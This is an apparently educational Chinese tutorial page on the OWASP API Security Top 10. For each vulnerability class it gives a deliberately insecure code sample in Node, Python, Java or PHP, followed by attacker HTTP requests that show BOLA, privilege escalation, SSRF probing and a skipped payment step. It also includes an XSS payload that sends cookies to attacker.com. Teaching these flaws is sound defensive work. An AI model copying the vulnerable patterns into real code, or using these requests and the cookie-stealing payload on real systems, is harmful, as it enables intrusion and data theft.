API安全
01web应用程序
02HTTP协议
03API概述
04分类类型
05交换格式
06身份验证
07常见API漏洞
08crAPI靶场
09JWT
10OAuth 2.0身份验证
11GraphQL
12DVGA靶场
13服务器端参数污染
14API文档
15API Labs
16OAuth Labs
17GraphQL API Labs
18JWT Labs
-
+
首页
07常见API漏洞
来源于OWASP API Security Top 10,https://owasp.org/API-Security/ OWASP(Open Web Application Security Project,开放 Web 应用安全项目)是一个全球性的非营利组织,致力于提升软件(尤其是 Web 应用)的安全性。 自 2001 年成立以来,它通过社区协作、开源资源和实践指南,成为全球软件安全领域最具影响力的权威组织之一。 ## API TOP 10 ### 1.1 BOLA Broken Object Level Authorization 对象级授权失效 描述:API未正确验证用户对特定对象的访问权限,常见于依赖客户端传入对象ID的场景。攻击者通过修改对象ID(如用户ID、订单ID)访问未授权数据。 案例: - 金融行业:某银行API允许通过用户ID查询交易记录,攻击者伪造用户ID获取他人交易明细。 - 电商行业:某电商平台API未验证商品ID归属,攻击者通过遍历ID窃取商品库存信息。 漏洞代码示例(Node.js/Express) ```javascript // 错误实现:仅验证用户登录状态,未校验订单归属 app.get('/api/orders/:orderId', authenticate, (req, res) => { const orderId = req.params.orderId; // 直接查询订单,未关联当前用户ID db.query('SELECT * FROM orders WHERE id = ?', [orderId], (err, result) => { if (result.length > 0) { res.json(result[0]); // 返回订单详情(无论归属) } else { res.status(404).send('Order not found'); } }); }); ``` 正常的用户请求和响应,用户查询自己的订单: ```http GET /api/orders/1001 HTTP/1.1 Host: example.com Authorization: Bearer {合法用户token} ``` ```http HTTP/1.1 200 OK { "id": 1001, "userId": 123, // 匹配当前用户 "amount": 99.99, "address": "用户A的地址" } ``` 攻击者请求和响应,篡改orderid查询他人订单: ```http GET /api/orders/1002 HTTP/1.1 Host: example.com Authorization: Bearer {合法用户token} ``` ```http HTTP/1.1 200 OK { "id": 1002, "userId": 456, // 属于其他用户 "amount": 199.99, "address": "用户B的地址" // 未授权访问 } ``` ### 1.2 认证失效 Broken Authentication 认证失效 描述:身份验证机制实现缺陷,如弱密码策略、令牌泄露或暴力破解漏洞。攻击者通过破解令牌或利用实现缺陷冒充合法用户。 案例: - 金融行业:某证券平台API密钥明文存储,被木马程序盗取后,攻击者操作账户进行高频交易。 - 电商行业:某商城API未限制登录尝试次数,攻击者通过暴力破解获取管理员账号。 漏洞代码示例(JWT配置缺陷) ```python # 错误实现:JWT过期时间过长且无刷新机制(Python/Flask) import jwt from datetime import datetime, timedelta def generate_token(user_id): payload = { "user_id": user_id, "exp": datetime.utcnow() + timedelta(days=365) # 过期时间1年(过久) } return jwt.encode(payload, "weak_secret_key", algorithm="HS256") # 密钥弱且硬编码 # 认证逻辑未校验token有效性细节 @app.route('/api/balance', methods=['GET']) def get_balance(): token = request.headers.get('Authorization').split(' ')[1] try: payload = jwt.decode(token, "weak_secret_key", algorithms=["HS256"]) # 未检查token是否被吊销/刷新 return jsonify({"balance": get_user_balance(payload["user_id"])}) except: return "Unauthorized", 401 ``` 攻击者使用窃取的旧 token的请求与响应: ```http GET /api/balance HTTP/1.1 Host: example.com Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsImV4cCI6MTcxNzY0MDY3NX0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c ``` ```http HTTP/1.1 200 OK { "balance": 5000.00 } ``` ### 1.3 对象属性级授权失效 Broken Object Property Level Authorization 对象属性级授权失效 描述:未正确控制对象属性的访问权限。攻击者通过修改请求参数暴露或修改敏感属性。 案例: - 电商行业:某商城API允许用户更新订单状态,攻击者通过修改is_paid字段将未支付订单标记为已支付。 - 物联网行业:某智能门锁API未验证属性权限,攻击者远程修改锁状态导致用户无法开门。 漏洞代码示例(Java/Spring) ```java // 错误实现:允许修改所有用户属性,未限制"role"字段 @PutMapping("/api/users/{userId}") public ResponseEntity<User> updateUser(@PathVariable Long userId, @RequestBody User user) { // 仅校验用户是否存在,未过滤敏感属性 User existingUser = userRepository.findById(userId).orElseThrow(); // 直接覆盖所有字段(包括role) existingUser.setName(user.getName()); existingUser.setEmail(user.getEmail()); existingUser.setRole(user.getRole()); // 未校验role修改权限 userRepository.save(existingUser); return ResponseEntity.ok(existingUser); } ``` 攻击者修改自身角色的请求与响应: ```http PUT /api/users/123 HTTP/1.1 Host: example.com Authorization: Bearer {普通用户token} Content-Type: application/json { "name": "Attacker", "email": "attacker@example.com", "role": "ADMIN" // 越权修改敏感属性 } ``` ```http HTTP/1.1 200 OK { "id": 123, "name": "Attacker", "email": "attacker@example.com", "role": "ADMIN" // 修改成功,权限提升 } ``` ### 1.4 资源消耗不受限 描述:未限制API请求的资源消耗,导致拒绝服务(DoS)或成本激增。攻击者通过发送大请求或高频请求耗尽服务器资源。 案例: - 电商行业:某商城API未限制图片上传大小,攻击者上传10GB文件导致服务器内存耗尽。 - 金融行业:某银行API未设置速率限制,攻击者每秒发送1000次查询请求,导致数据库瘫痪。 漏洞代码示例(Python/Flask) ```python # 错误实现:未限制文件大小和请求频率 @app.route('/api/process-image', methods=['POST']) def process_image(): # 未校验文件大小 image = request.files['image'] image.save(f'/tmp/{image.filename}') # 未限制并发,直接执行高资源消耗操作 result = high_resolution_processing(image.filename) # 耗时操作 return send_file(result) ``` 攻击者发送超大文件的请求与响应: ```http POST /api/process-image HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ----WebKitFormBoundary Content-Disposition: form-data; name="image"; filename="100mb-image.jpg" Content-Type: image/jpeg [100MB二进制数据] ----WebKitFormBoundary ``` ```http HTTP/1.1 504 Gateway Timeout # 服务器超时(资源耗尽) ``` ### 1.5 BFLA Broken Function Level Authorization 功能级授权失效 描述:管理功能与普通功能授权未分离,导致未授权访问管理接口。攻击者通过普通用户权限调用管理接口。 案例: - 金融行业:某证券平台API未区分管理接口,攻击者通过普通用户权限调用/admin/users接口获取所有用户数据。 - 电商行业:某商城API管理接口未验证角色,攻击者删除他人订单。 BOLA 与 BFLA 的区别: - BOLA:用户有权访问 API 端点 / 功能,但通过操纵对象 ID 访问无权对象(对象级越权)。 - BFLA:攻击者未授权访问本不应接触的 API 端点 / 功能(功能级越权)。 漏洞代码示例(PHP/Laravel) ```php // 错误实现:仅通过URL路径判断权限,未校验用户角色 Route::delete('/api/admin/delete-customer/{id}', function ($id) { // 无角色校验中间件 Customer::destroy($id); return response()->json(['message' => 'Deleted']); }); ``` 普通用户调用管理员接口的请求与响应: ```http DELETE /api/admin/delete-customer/456 HTTP/1.1 Host: example.com Authorization: Bearer {普通用户token} ``` ```http HTTP/1.1 200 OK { "message": "Deleted" // 越权删除成功 } ``` ### 1.6 敏感业务流无限制访问 描述:敏感业务流程未加防护,如自动化评论、交易操作。攻击者通过脚本自动化操作,导致业务受损。 案例: - 电商行业:某平台API未限制评论频率,攻击者通过脚本每秒发送1000条垃圾评论。 - 金融行业:某银行API未验证交易频率,攻击者通过自动化脚本进行高频转账,触发风控。 漏洞场景(外卖下单流程): 正常流程:提交订单→支付→确认发货,但 API 未校验流程依赖关系。 攻击者跳过支付直接确认发货的请求与响应: ```http POST /api/orders/789/confirm-shipping HTTP/1.1 Host: example.com Authorization: Bearer {用户token} Content-Type: application/json { "orderId": 789, "trackingNo": "FAKE123" } ``` ```http HTTP/1.1 200 OK { "status": "shipped", "message": "订单已发货" // 未支付却发货 } ``` ### 1.7 SSRF Server Side Request Forgery 服务器端请求伪造 描述:API未验证用户提供的URI,导致内部资源被非法访问。攻击者通过伪造URI访问内网地址。 案例: - 金融行业:某银行API获取远程配置时未验证URL,攻击者伪造URL访问内网数据库。 - 物联网行业:某智能设备API未限制URI,攻击者通过SSRF控制设备。 漏洞代码示例(Node.js/Express) ```javascript // 错误实现:直接使用用户输入的URL发起请求 app.get('/api/fetch-content', (req, res) => { const url = req.query.url; // 用户可控输入 // 未校验URL合法性(如禁止内网IP) fetch(url).then(response => response.text()) .then(data => res.send(data)) .catch(err => res.status(500).send(err.message)); }); ``` 攻击者探测内网数据库的请求与响应: ```http GET /api/fetch-content?url=http://192.168.1.100:3306 HTTP/1.1 Host: example.com ``` ```http HTTP/1.1 200 OK Host '172.17.0.2' is not allowed to connect to this MySQL server ``` ### 1.8 安全配置错误 描述:API或相关组件配置不当,如默认凭证、未关闭调试接口。攻击者利用默认配置或未修复漏洞进行攻击。 案例: - 电商行业:某商城API未删除调试接口,攻击者通过/debug/pprof获取服务器性能数据。 - 金融行业:某证券平台API使用默认管理员账号,被暴力破解。 漏洞场景(生产环境启用调试模式) 触发错误时的请求与响应: ```http GET /api/users/invalid-id HTTP/1.1 Host: example.com ``` ```http HTTP/1.1 500 Internal Server Error { "error": "SQL Error", "stack": "Traceback (most recent call last): ... File \"db.py\", line 42, in query\n cursor.execute(\"SELECT FROM users WHERE id = '%s'\" % id)\nMySQLdb._exceptions.ProgrammingError: (1064, ...)", "db_config": { "host": "192.168.1.5", "user": "root", "password": "dev_password" // 泄露敏感配置 } } ``` ### 1.9 存量资产管理不当 描述:未维护API资产清单,导致废弃端点暴露。攻击者利用未下线的旧版API进行攻击。 案例: - 金融行业:某银行未下线旧版API,攻击者通过未修复的漏洞转移资金。 - 电商行业:某商城API版本号混乱,攻击者利用旧版接口进行数据抓取。 漏洞场景(遗留 API 未下线) 访问未下线v1接口的请求与响应: ```http GET /api/v1/users HTTP/1.1 Host: example.com ``` ```http HTTP/1.1 200 OK [ {"id": 1, "phone": "13800138000", "email": "user1@example.com"}, {"id": 2, "phone": "13900139000", "email": "user2@example.com"} ] ``` v1 接口无认证,v2 已修复但未删除 v1 ### 1.10 API的不安全使用 描述:依赖第三方API时未验证数据完整性,导致供应链攻击。攻击者通过篡改第三方API响应进行攻击。 案例: - 电商行业:某应用使用被篡改的第三方天气API,响应中包含恶意脚本,触发XSS漏洞。 - 金融行业:某银行依赖的第三方支付API被植入恶意代码,导致用户资金被盗。 漏洞代码示例(前端直接渲染第三方数据) ```javascript // 错误实现:直接展示第三方API返回的未过滤数据 fetch('https://third-party-logistics.com/api/tracking?orderId=789') .then(response => response.json()) .then(data => { // 未过滤HTML/脚本标签 document.getElementById('tracking-message').innerHTML = data.message; }); ``` 请求第三方api返回恶意内容: ```json { "message": "您的快递已到达<script>document.location='http://attacker.com?cookie='+document.cookie</script>" } ``` 前端渲染后触发 XSS,导致用户 Cookie 被窃取。
毛林
2025年10月27日 19:17
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码